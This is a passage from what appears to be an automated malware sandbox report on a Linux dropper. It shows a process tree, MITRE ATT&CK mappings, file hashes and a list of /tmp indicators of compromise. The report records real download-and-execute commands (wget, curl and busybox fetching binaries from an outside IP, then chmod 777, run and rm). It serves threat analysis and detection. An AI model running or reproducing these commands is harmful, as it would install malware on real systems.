  2⤵
  PID:1693
- /bin/chmod
  chmod 777 c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - File and Directory Permissions Modification
  PID:1694
- /tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  ./c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Executes dropped EXE
  PID:1695
- /bin/rm
  rm c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:1696
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:1697
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Writes file to tmp directory
  PID:1698
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:1699
- /bin/chmod
  chmod 777 Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - File and Directory Permissions Modification
  PID:1700
- /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  ./Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Executes dropped EXE
  PID:1701
- /bin/rm
  rm Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:1702

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX

Path /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	1537	Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	1543	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	1549	XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	1555	wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	1561	UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	1567	1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	1573	YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	1579	GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	1585	IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	1591	D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	1597	VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	1603	CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	1609	c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	1615	ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	1621	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	1627	XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	1633	IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	1639	wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	1645	UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	1651	1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	1659	YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	1665	GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	1671	ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	1677	D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	1683	VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	1689	CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	1695	c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	1701	Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX